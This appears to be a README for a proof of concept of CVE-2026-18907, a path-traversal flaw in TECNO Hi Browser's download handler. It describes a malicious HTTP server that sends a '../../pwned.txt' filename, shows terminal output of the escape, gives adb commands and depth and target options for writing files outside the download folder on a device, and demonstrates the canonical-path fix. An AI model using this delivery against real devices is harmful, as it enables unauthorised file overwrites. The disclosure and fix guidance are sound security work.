
Python PoC for CVE-2026-18907 path traversal in TECNO Hi Browser's download handler. Includes malicious HTTP server and naive downloader to demonstrate the fix.
Proof-of-concept for CVE-2026-18907 (CVSS 7.5 High, CWE-23), a relative
path-traversal vulnerability in the download file feature of TECNO Hi
Browser (com.talpa.hibrowser) version 2.23.1.1. The browser trusted an
attacker-controlled Content-Disposition filename and joined it onto the
download directory without sanitising path separators or canonical-path
checking the result — so ../ sequences in the filename let the response body
be written outside Download/ to any path the browser's storage permissions
allow.
This PoC does not include the proprietary
com.talpa.hibrowserAPK. It demonstrates (a) the exact malicious HTTP delivery and (b) the root-cause class of bug (a downloader that trusts a response filename as a path component). The same primitive is what CVE-2026-18907 describes.
| File | Purpose |
|---|---|
evil_server.py | The malicious HTTP server. Serves one response whose Content-Disposition filename carries . This is the . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
The vulnerable join produced /tmp/demo/Download/../../pwned.txt, the OS
resolved the .., and the file materialised at /tmp/pwned.txt — outside
the download directory. The fixed path took os.path.basename() first (the
../ is path information and is discarded, leaving pwned.txt) and then
verified the canonical path stayed inside the download dir.
Start evil_server.py on a host the test device can reach, then navigate a
vulnerable browser to http://<host>:8000/. On a browser that auto-starts
attachment downloads and does not sanitise the filename, the file is written
to a path resolved by the ../ chain. Verify containment failed with adb:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Tune the climb depth to the device with --depth (default 2 clears
/sdcard/Download/ back to /sdcard/; raise it to climb higher), and the
landing basename with --target.
For any download manager, the whole CWE-23 class collapses to two habits applied together:
/.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
Do not blacklist ../ — the set of traversal-equivalent encodings is
open-ended. Canonicalise, then compare. That algorithm is closed.
Run the server only on a network you control and only test against a device you own. A path-traversal write is, by definition, a file-write primitive — point it at nothing you are not willing to overwrite.
MIT — see the accompanying article for full attribution and primary sources.
../naive_downloader.py | A minimal downloader that reproduces the vulnerable join(dir, filename) pattern, alongside the fixed (basename + canonical-containment) version, so you can watch the escape in one run. |